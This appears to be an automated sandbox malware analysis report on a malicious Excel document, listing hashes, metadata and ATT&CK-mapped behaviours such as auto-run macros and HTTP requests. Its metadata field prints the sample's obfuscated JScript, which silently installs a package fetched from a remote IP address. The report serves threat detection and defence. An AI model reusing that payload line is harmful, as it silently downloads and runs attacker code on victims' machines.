Managed XDR

unknown-d48eb03ed3953899ea091e01e04f6e73 — malware analysis report

File info

Filename
unknown-d48eb03ed3953899ea091e01e04f6e73
File type
Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Subject: JScript, Author: Ferop, Comments: eval('})"53.502.831.551//:ptth"(tcudorPllatsnI;2=leveLIU{))"rellatsnI.rellatsnIswodniW"(tcejbOXevitcA wen(htiw'.split('').reverse().join('')), Last Saved By: Arcadia, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Aug 17 12:24:08 2021, Last Saved Time/Date: Thu Sep 30 05:22:38 2021, Security: 0
File size
65.2 KB
First seen
Last seen

Environment

win7/x86 en

Hashes

SHA1
3071067374671840b4d44caf27850f374a613bdf
SHA256
a382c76049bdbc4c4adda16e2e56e0ea4ab162542b0e284575dee437833cafc8
MD5
d48eb03ed3953899ea091e01e04f6e73

Signatures

Execution

T1203 office_exploit_http: The document exhibits suspicious behaviour (performs HTTP requests)
T1064 office_macros: The document contains macroses (total: 4)
T1064 office_macros_autoexec: The document contains an auto-start macro
T1204.002 office_vb_load: Microsoft Office is loading VB DLL files (macros usage indicator)

Privilege Escalation

T1134 sets_privilegies_via_adjusttokenprivileges: Sets process privilege via AdjustTokenPrivileges
T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Defense Evasion

T1064 office_macros: The document contains macroses (total: 4)
T1064 office_macros_autoexec: The document contains an auto-start macro
T1497 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining
T1134 sets_privilegies_via_adjusttokenprivileges: Sets process privilege via AdjustTokenPrivileges
T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Discovery

T1082 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining
T1497 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining

Command and Control

T1071.001 office_exploit_http: The document exhibits suspicious behaviour (performs HTTP requests)
T1071.004 office_exploit_dns: The document exhibits suspicious behaviour (performs DNS requests)
T1071.001 network_http: Performs HTTP requests
T1071.001 winhttp_https: Performs HTTP/HTTPS requests using WinHttp

Other

yara_rules: Static rules
suspicious_process_network: Unusual process network activity detected
office_summary: The document contains suspicious metadata
create_rpc_bindings: Creates RPC connection
error_drawtext: An error occured while executing the file
get_policy_info: Retrieves information about a Policy object
test_check_service: Starts services
antisandbox_check_graphics_card: Uses CreateDXGIFactory, potentially to detect graphics card
suricata_alert: Malicious traffic detected